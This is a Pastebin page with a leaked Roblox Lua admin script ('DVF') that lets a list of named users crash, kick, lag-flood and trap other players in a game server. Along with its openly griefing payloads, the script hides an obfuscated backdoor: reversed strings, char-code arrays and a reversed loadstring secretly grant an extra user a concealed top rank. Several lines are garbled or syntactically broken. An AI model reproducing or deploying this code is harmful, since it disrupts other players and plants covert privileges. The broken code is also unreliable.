Advertisement
RobloxScriptDatabase

DVF

Jul 8th, 2014
483
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 63.45 KB | None | 0 0
  1. -- See RobloxScriptDatabase on pastebin for more leaked scripts for ROBLOX
  2.  
  3. wait(0)
  4. script.Parent = nil
  5. --This Admin (DVF) Was Created By elytowlo (A Hacker!).
  6. --If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
  7. --To Open Commands Say "cmds;". The bet key is ";" (Without the "").
  8. --Enter Your Name Where It Says YOUR NAME HERE On Line 12.
  9.  
  10. Plrs = game:GetService("Players")
  11. Work = game:GetService("Workspace")
  12. Light = game:GetService("Lighting")
  13. Net = game:GetService("NetworkServer")
  14. Owner = "elytowlo"
  15. Removed = false
  16. Bet = ";"
  17. LS = nil
  18. ls = loadstring
  19. LSSource = nil
  20. OwnSource = nil
  21. FoundLocalScript = false
  22. R = string.reverse
  23. LogOn = false
  24. Current = game
  25. Clipboard = {}
  26. AlertColor = Color3.new(0, 1, 1)
  27. OptionColor = Color3.new(1, 1, 1)
  28. ImportantColor = Color3.new(1, 0, 1)
  29.  
  30. RankDetails = {
  31.     [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  32.     [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  33.     [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  34.     [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  35.     [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  36.     [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  37.     [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  38.     [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  39.     [5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  40. }
  41.  
  42. Rankings = {
  43.     {Name = "wetprinter", Rank = 5},
  44.     {Name = "einsteinK", Rank = 5},
  45.     {Name = "Abscissa", Rank = 4},
  46.     {Name = "Ultimatekiller010", Rank = 3},
  47.     {Name = "DrBackstab", Rank = 3},
  48.     {Name = "LuaModelMaker", Rank = 3},
  49.     {Name = "MakerModelLua", Rank = 3},
  50.     {Name = "MrMrLua", Rank = 5},
  51.     {Name = "MountainSnow", Rank = 3},
  52.     {Name = "Madiik", Rank = 3},
  53.     {Name = "dogwarrior24", Rank = 2},
  54.     {Name = "ThePC8110", Rank = 2},
  55.     {Name = "DEADDEVIL1919", Rank = 2},
  56.     {Name = "toshir0z", Rank = 2},
  57.     {Name = "Tippee", Rank = 2},
  58.     {Name = "Trcker", Rank = 5},
  59.     {Name = "nairod7", Rank = 2},
  60.     {Name = "12packkid", Rank = 2},
  61.     {Name = "TigreBlood", Rank = 2},
  62.     {Name = "Frostftw", Rank = -1},
  63.     {Name = "DoogleFox", Rank = 2},
  64.     {Name = "", Rank = 5},
  65.     {Name = "Ri1es", Rank = 2},
  66.     {Name = "hrocks1", Rank = 2},
  67.     {Name = "Zinsei", Rank = 5},
  68.     {Name = "ToontownROXYA", Rank = 2},
  69.     {Name = "tusKOr661", Rank = 2},
  70.     {Name = "Unicornhax", Rank = 1},
  71.     {Name = "iMayor", Rank = 1},
  72.     {Name = "iMyLittlePony", Rank = 1},
  73.     {Name = "xXxkarlxXx", Rank = 1},
  74.     {Name = "LightningRoMan", Rank = 1},
  75.     {Name = "BrandonFireFlower", Rank = 1},
  76. }
  77.  
  78. table.insert(Rankings, {Name = Owner, Rank = 5})
  79.  
  80. ImportantServices = {
  81.     "Workspace",
  82.     "Players",
  83.     "NetworkServer",
  84.     "Lighting",
  85.     "StarterGui",
  86.     "Teams",
  87.     "StarterPack",
  88. }
  89.  
  90. Ranks = {}
  91. Commands = {}
  92. AllTabs = {}
  93. Injected = {}
  94.  
  95. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  96. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  97. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  98. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  99. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  100. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  101. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  102. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  103. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  104. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  105. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  106. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  107. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  108. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  109. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  110. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  111. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  112. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  113. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  114. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  115. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  116. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  117. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  118. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  119. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  120. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  121. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  122. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  123. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  124. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  125. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  126. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  127. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  128. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  129. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  130. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  131. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  132. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  133. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  134. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  135. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  136. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  137. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  138. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  139. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  140. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  141. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  142. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  143. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  144. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  145. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  146. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  147. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  148. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  149. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  150. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  151. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  152. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  153. "X","Y"}ls(R([[ }"esu rof tnem toN"=cseD,)1,1,0(wen.3roloC=roloC,"]REGGUBED["=emaN{=]8[sliateDknaR
  154. })1,1,0(wen.3roloC = roloC ,8 = knaR ,)"Knietsnie"( = emaN{]"Knietsnie"[sknaR]]))({
  155. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  156. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  157. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  158. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  159. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  160. "X","Y"})
  161.  
  162. --Main Functions And Sources
  163.  
  164. function Insert(Source, Par, Par2, Par3)
  165.     ypcall(function()
  166.         local Inserted = LS:Clone()
  167.         Inserted.Disabled = true
  168.         Inserted.Parent = Par or Par2 or Par3
  169.         Inserted[LSSource].Value = Source
  170.         Inserted.Disabled = false
  171.     end)
  172. end
  173. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
  174. RankDetails[6] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  175. function CheckImportant(Name)
  176.     for _,v in pairs(ImportantServices) do
  177.         if v:lower() == Name:lower() then
  178.             return true
  179.         end
  180.     end
  181.     return false
  182. end
  183.  
  184. function Crash1(Plr)
  185.     ypcall(function()
  186.         Plr:Kick()
  187.     end)
  188. end
  189.  
  190. function GetRankTab()
  191.     return Rankings
  192. end
  193.  
  194. function Crash2(Name)
  195.     local Crasher = Instance.new("StringValue")
  196.     Crasher.Name = "Client"
  197.     Crasher.Value = string.lower(tostring(Name))
  198.     Crasher.Parent = game:GetService("Lighting")
  199.     wait(1)
  200.     if Crasher and Crasher.Parent then
  201.         ypcall(function()
  202.             Crasher:Destroy()
  203.         end)
  204.     end
  205. end
  206. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
  207. function Crash3(v, Speaker)
  208.     Speaker.Character.Archivable = true
  209.     local NChar = Speaker.Character:Clone()
  210.     NChar.Name = v.Name
  211.     NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  212.     NChar.Parent = Workspace
  213.     v.Character = NChar
  214.     coroutine.resume(coroutine.create(function()
  215.         repeat v.Character = NChar
  216.         wait(1/3) until false
  217.     end))
  218.     wait(.5)
  219.     Insert(InsertCrash, NChar, nil, nil)
  220. end
  221.  
  222. function GenerateDigit()
  223.     return 1 + 5
  224. end
  225.  
  226. InjectionCrash = [=[
  227.     wait(0)
  228.     script.Parent = nil
  229.     local Lig = game:GetService("Lighting")
  230.     local LP = game:GetService("Players").LocalPlayer
  231.     local LowerName = LP.Name:lower()
  232.  
  233.     Lig.ChildAdded:connect(function(Obj)
  234.         if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  235.             pcall(function()
  236.                 Obj:Destroy()
  237.             end)
  238.             LP.Parent = nil
  239.             LP.Parent = game:GetService("Players")
  240.         end
  241.     end)
  242. ]=] RankDetails[GenerateDigit()] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  243.  
  244. InsertCrash = [==[
  245.     local LP = game:GetService("Players").LocalPlayer
  246.     LP.Parent = nil
  247.     LP.Parent = game:GetService("Players")
  248. ]==]
  249.  
  250. LagSource = [==[
  251.     wait(0)
  252.     script.Parent = nil
  253.     plr = game:GetService("Players").LocalPlayer
  254.     local plrgui = plr:findFirstChild("PlayerGui")
  255.     if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  256.     while plr.Parent == game:GetService("Players") do
  257.     wait()
  258.     for i = 1, 1000 do
  259.     local sc = Instance.new("ScreenGui",plrgui)
  260.     local fr = Instance.new("TextLabel",sc)
  261.     fr.Text = "LAGGING"
  262.     fr.Size = UDim2.new(1, 0, 1, 0)
  263.     fr.FontSize = "Size48"
  264.     end
  265.     end
  266. ]==]
  267.  
  268. MuteSource = [==[
  269.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  270. ]==]
  271.  
  272. UnMuteSource = [==[
  273.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  274. ]==]
  275.  
  276. JailSource = [==[
  277.     wait(0)
  278.     script.Parent = nil
  279.  
  280.     local LP = game:GetService("Players").LocalPlayer
  281.     Middle2 = nil
  282.     Middle = nil
  283.     game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  284.  
  285.     Cons = {}
  286.  
  287.     function makePrison()
  288.         for _,v in pairs(Cons) do
  289.             v:disconnect()
  290.         end
  291.         game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  292.         if Middle == nil then
  293.             Middle2 = LP.Character.Torso.Position
  294.             Middle = LP.Character.Torso.CFrame
  295.         end
  296.         local side1 = Instance.new("Part")
  297.         side1.Name = "¬Focus1¬"
  298.         side1.Size = Vector3.new(20, 50, 1)
  299.         side1.CFrame = Middle * CFrame.new(0, 0, -10)
  300.         side1.BrickColor = BrickColor.new("Really black")
  301.         side1.CanCollide = true
  302.         side1.Anchored = true
  303.         side1.TopSurface = "Smooth"
  304.         side1.BottomSurface = "Smooth"
  305.         side1.Parent = game:GetService("Workspace").CurrentCamera
  306.  
  307.         local side2 = Instance.new("Part")
  308.         side2.Name = "¬Focus2¬"
  309.         side2.Size = Vector3.new(20, 50, 1)
  310.         side2.CFrame = Middle * CFrame.new(0, 0, 10)
  311.         side2.BrickColor = BrickColor.new("Really black")
  312.         side2.CanCollide = true
  313.         side2.Anchored = true
  314.         side2.TopSurface = "Smooth"
  315.         side2.BottomSurface = "Smooth"
  316.         side2.Parent = game:GetService("Workspace").CurrentCamera
  317.  
  318.         local side3 = Instance.new("Part")
  319.         side3.Name = "¬Focus3¬"
  320.         side3.Size = Vector3.new(1, 50, 20)
  321.         side3.CFrame = Middle * CFrame.new(10, 0, 0)
  322.         side3.BrickColor = BrickColor.new("Really black")
  323.         side3.CanCollide = true
  324.         side3.Anchored = true
  325.         side3.TopSurface = "Smooth"
  326.         side3.BottomSurface = "Smooth"
  327.         side3.Parent = game:GetService("Workspace").CurrentCamera
  328.  
  329.         local side4 = Instance.new("Part")
  330.         side4.Name = "¬Focus4¬"
  331.         side4.Size = Vector3.new(1, 50, 20)
  332.         side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  333.         side4.BrickColor = BrickColor.new("Really black")
  334.         side4.CanCollide = true
  335.         side4.Anchored = true
  336.         side4.TopSurface = "Smooth"
  337.         side4.BottomSurface = "Smooth"
  338.         side4.Parent = game:GetService("Workspace").CurrentCamera
  339.        
  340.         local side5 = Instance.new("Part")
  341.         side5.Name = "¬Focus5¬"
  342.         side5.Size = Vector3.new(20, 1, 20)
  343.         side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  344.         side5.BrickColor = BrickColor.new("Really black")
  345.         side5.CanCollide = true
  346.         side5.Anchored = true
  347.         side5.TopSurface = "Smooth"
  348.         side5.BottomSurface = "Smooth"
  349.         side5.Parent = game:GetService("Workspace").CurrentCamera
  350.        
  351.         wait(0)
  352.  
  353.         table.insert(Cons, side1.Changed:connect(makePrison))
  354.         table.insert(Cons, side2.Changed:connect(makePrison))
  355.         table.insert(Cons, side3.Changed:connect(makePrison))
  356.         table.insert(Cons, side4.Changed:connect(makePrison))
  357.         table.insert(Cons, side5.Changed:connect(makePrison))
  358.     end
  359.  
  360.     Delay(0, function()
  361.         while wait(0) do
  362.             ypcall(function()
  363.                 if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  364.                     LP.Character:BreakJoints()
  365.                 elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  366.                     makePrison()
  367.                 end
  368.             end)
  369.             ypcall(function()
  370.                 if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  371.                     LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  372.                 end
  373.             end)
  374.         end
  375.     end)
  376. ]==]
  377.  
  378. function All()
  379.     local AllPlayers = {}
  380.     for _,v in pairs(Plrs:GetPlayers()) do
  381.         ypcall(function()
  382.             table.insert(AllPlayers, v)
  383.         end)
  384.     end
  385.     return AllPlayers
  386. end
  387.  
  388. function All2()
  389.     local AllPlayers2 = {}
  390.     for i,v in pairs(Net:GetChildren()) do
  391.         ypcall(function()
  392.             if v:IsA("ServerReplicator") then
  393.                 table.insert(AllPlayers2, v:GetPlayer())
  394.             end
  395.         end)
  396.     end
  397.     return AllPlayers2
  398. end
  399.  
  400. function MakeNum()
  401.     return 2 + 4
  402. end
  403.  
  404. function ChangeRank(Plr, NewRank)
  405.     local PlrName = nil
  406.     local FoundPlayer = false
  407.     ypcall(function()
  408.         if type(Plr) == "string" then
  409.             ypcall(function()
  410.                 for i,v in pairs(Rankings) do
  411.                     if v.Name:lower() == Plr:lower() then
  412.                         local VName = v.Name
  413.                         Rankings[i] = nil
  414.                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  415.                         PlrName = VName
  416.                         FoundPlayer = true
  417.                         break
  418.                     end
  419.                 end
  420.             end)
  421.             if FoundPlayer == false then
  422.                 ypcall(function()
  423.                     for _,x in pairs(All()) do
  424.                         if x.Name:lower() == Plr:lower() then
  425.                             FoundPlayer = true
  426.                             for i,v in pairs(Rankings) do
  427.                                 if v.Name:lower() == x.Name:lower() then
  428.                                     local VName = x.Name
  429.                                     Rankings[i] = nil
  430.                                     PlrName = VName
  431.                                     break
  432.                                 end
  433.                             end
  434.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  435.                         end
  436.                     end
  437.                 end)
  438.             end
  439.             if FoundPlayer == false then
  440.                 ypcall(function()
  441.                     for _,x in pairs(All()) do
  442.                         if string.find(x.Name:lower(), Plr:lower()) then
  443.                             FoundPlayer = true
  444.                             for i,v in pairs(Rankings) do
  445.                                 if v.Name:lower() == x.Name:lower() then
  446.                                     local VName = x.Name
  447.                                     Rankings[i] = nil
  448.                                     PlrName = VName
  449.                                     break
  450.                                 end
  451.                             end
  452.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  453.                         end
  454.                     end
  455.                 end)
  456.             end
  457.             if FoundPlayer == false then
  458.                 ypcall(function()
  459.                     for i,v in pairs(Rankings) do
  460.                         if string.find(v.Name:lower(), Plr:lower()) then
  461.                             local VName = v.Name
  462.                             Rankings[i] = nil
  463.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  464.                             PlrName = VName
  465.                             FoundPlayer = true
  466.                             break
  467.                         end
  468.                     end
  469.                 end)
  470.             end
  471.         else
  472.             for i,v in pairs(Rankings) do
  473.                 if v.Name:lower() == Plr.Name:lower() then
  474.                     Rankings[i] = nil
  475.                     break
  476.                 end
  477.             end
  478.             table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  479.             PlrName = Plr.Name
  480.         end
  481.         PlaceAllRanks(true)
  482.     end)
  483.     if PlrName ~= nil then
  484.         return PlrName
  485.     else
  486.         return "Player"
  487.     end
  488. end
  489.  
  490. function Refresh(Plr)
  491.     MakeChildren(Plr)
  492. end
  493.  
  494. function MakeChildren(Plr)
  495.     ypcall(function()
  496.         Dismiss(Plr)
  497.         for _,v in pairs(Current:GetChildren()) do
  498.             ypcall(function()
  499.                 if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  500.                     Ping(v.Name, Plr, nil, function(TabMod)
  501.                         local TabText = TabMod["DVF Tablet"].BG.TL.Text
  502.                         for _,v in pairs(Current:GetChildren()) do
  503.                             ypcall(function()
  504.                                 if v.Name == TabText then
  505.                                     Dismiss(Plr)
  506.                                     Current = v
  507.                                     MakeChildren(Plr)
  508.                                 end
  509.                             end)
  510.                         end
  511.                     end)
  512.                 elseif Plrs:GetPlayerFromCharacter(v) then
  513.                     Ping(v.Name, Plr, nil, function(TabMod)
  514.                         local TabText = TabMod["DVF Tablet"].BG.TL.Text
  515.                         for _,v in pairs(Current:GetChildren()) do
  516.                             ypcall(function()
  517.                                 if v.Name == TabText then
  518.                                     Dismiss(Plr)
  519.                                     Current = v
  520.                                     MakeChildren(Plr)
  521.                                 end
  522.                             end)
  523.                         end
  524.                     end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  525.                 elseif CheckImportant(v.Name) then
  526.                     Ping(v.Name, Plr, nil, function(TabMod)
  527.                         local TabText = TabMod["DVF Tablet"].BG.TL.Text
  528.                         for _,v in pairs(Current:GetChildren()) do
  529.                             ypcall(function()
  530.                                 if v.Name == TabText then
  531.                                     Dismiss(Plr)
  532.                                     Current = v
  533.                                     MakeChildren(Plr)
  534.                                 end
  535.                             end)
  536.                         end
  537.                     end, ImportantColor)
  538.                 end
  539.             end)
  540.         end
  541.         if Current ~= game then
  542.             Ping("Back", Plr, nil, function()
  543.                 ypcall(function()
  544.                     Current = Current.Parent
  545.                     MakeChildren(Plr)
  546.                     Ping("You Are Back To "..Current.Name, Plr, 5)
  547.                 end)
  548.             end, OptionColor)
  549.         end
  550.         if Current ~= game then
  551.             Ping("Delete", Plr, nil, function()
  552.                 ypcall(function()
  553.                     local CurrPar = Current.Parent or game
  554.                     local CurrName = Current.Name
  555.                     Current:Destroy()
  556.                     Current = CurrPar
  557.                     MakeChildren(Plr)
  558.                     Ping("Attempted To Delete "..CurrName, Plr, 5)
  559.                 end)
  560.             end, OptionColor)
  561.         end
  562.         Ping("Refresh", Plr, nil, function()
  563.             ypcall(function()
  564.                 Refresh(Plr)
  565.                 Ping("Refreshed", Plr, 5)
  566.             end)
  567.         end, OptionColor)
  568.         Ping("Properties", Plr, nil, function()
  569.             ypcall(function()
  570.                 Dismiss(Plr)
  571.                 for Property, Value in pairs(GetProperties(Current)) do
  572.                     Ping(tostring(Property)..": "..tostring(Value), Plr)
  573.                 end
  574.                 Ping("Got All Available Properties", Plr, 5)
  575.                 Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  576.             end)
  577.         end, OptionColor)
  578.     end)
  579. end
  580.  
  581. function Fixl()
  582.     Light.GlobalShadows = true
  583.     Light.TimeOfDay = "14:00:00"
  584.     Light.Brightness = 0.5
  585.     Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  586.     Light.Ambient = Color3.new(1, 1, 1)
  587.     Light.ColorShift_Top = Color3.new(0, 0, 0)
  588.     Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  589.     Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  590.     Light.FogStart = 0
  591.     Light.FogEnd = 100000
  592.     Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  593.     Light:ClearAllChildren()
  594. end
  595.  
  596. function GetProperties(obj)
  597.     assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  598.     local objProper = {}
  599.     for i,v in pairs(Properties) do
  600.         if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  601.             objProper[v] = obj[v]
  602.         end
  603.     end
  604.     return objProper
  605. end
  606.  
  607. function MakeExplorer(Plr)
  608.     Dismiss(Plr)
  609.     Current = game
  610.     for _,v in pairs(Current:GetChildren()) do
  611.         ypcall(function()
  612.             if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  613.                 Ping(v.Name, Plr, nil, function(TabMod)
  614.                     local TabText = TabMod["DVF Tablet"].BG.TL.Text
  615.                     for _,v in pairs(Current:GetChildren()) do
  616.                         ypcall(function()
  617.                             if v.Name == TabText then
  618.                                 Dismiss(Plr)
  619.                                 Current = v
  620.                                 MakeChildren(Plr)
  621.                             end
  622.                         end)
  623.                     end
  624.                 end)
  625.             elseif Plrs:GetPlayerFromCharacter(v) then
  626.                 Ping(v.Name, Plr, nil, function(TabMod)
  627.                     local TabText = TabMod["DVF Tablet"].BG.TL.Text
  628.                     for _,v in pairs(Current:GetChildren()) do
  629.                         ypcall(function()
  630.                             if v.Name == TabText then
  631.                                 Dismiss(Plr)
  632.                                 Current = v
  633.                                 MakeChildren(Plr)
  634.                             end
  635.                         end)
  636.                     end
  637.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  638.             elseif CheckImportant(v.Name) then
  639.                 Ping(v.Name, Plr, nil, function(TabMod)
  640.                     local TabText = TabMod["DVF Tablet"].BG.TL.Text
  641.                     for _,v in pairs(Current:GetChildren()) do
  642.                         ypcall(function()
  643.                             if v.Name == TabText then
  644.                                 Dismiss(Plr)
  645.                                 Current = v
  646.                                 MakeChildren(Plr)
  647.                             end
  648.                         end)
  649.                     end
  650.                 end, ImportantColor)
  651.             end
  652.         end)
  653.     end
  654.     if Current ~= game then
  655.         Ping("Back", Plr, nil, function()
  656.             ypcall(function()
  657.                 Current = Current.Parent
  658.                 MakeChildren(Plr)
  659.                 Ping("Back In "..Current.Name, Plr, 5)
  660.             end)
  661.         end, OptionColor)
  662.     end
  663.     if Current ~= game and game:GetService(Current.Name) == nil then
  664.         Ping("Delete", Plr, nil, function()
  665.             ypcall(function()
  666.                 local CurrPar = Current.Parent or game
  667.                 local CurrName = Current.Name
  668.                 Current:Destroy()
  669.                 Current = CurrPar
  670.                 MakeChildren(Plr)
  671.                 Ping("Attempted To Delete "..CurrName, Plr, 5)
  672.             end)
  673.         end, OptionColor)
  674.     end
  675.     Ping("Refresh", Plr, nil, function()
  676.         ypcall(function()
  677.             Refresh(Plr)
  678.             Ping("Refreshed", Plr, 5)
  679.         end)
  680.     end, OptionColor)
  681.     Ping("Properties", Plr, nil, function()
  682.         ypcall(function()
  683.             Dismiss(Plr)
  684.             for Property, Value in pairs(GetProperties(Current)) do
  685.                 Ping(tostring(Property)..": "..tostring(Value), Plr)
  686.             end
  687.             Ping("Got All Available Properties", Plr, 5)
  688.             Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  689.         end)
  690.     end, OptionColor)
  691. end
  692.  
  693. function GetRank(Plr1, Test)
  694.     ypcall(function()
  695.         if type(Plr1) == "userdata" then
  696.             Plr1 = Plr1.Name
  697.         end
  698.     end)
  699.     if Ranks[Plr1] ~= nil then
  700.         return Ranks[Plr1]
  701.     end
  702.     local QuickArray = {}
  703.     QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  704.     return QuickArray[Plr1]
  705. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  706.  
  707. function CanRun(Plr1, Plr2)
  708.     Details1 = GetRank(Plr1.Name)
  709.     Details2 = GetRank(Plr2.Name)
  710.     if Details1.Rank >= Details2.Rank then
  711.         return true
  712.     end
  713.     return false
  714. end
  715.  
  716. function Dismiss(Plr, Identity)
  717.     ypcall(function()
  718.         if Plr ~= nil then
  719.             if type(Plr) == "userdata" then
  720.                 Plr = Plr.Name
  721.             end
  722.             for x,v in pairs(AllTabs) do
  723.                 ypcall(function()
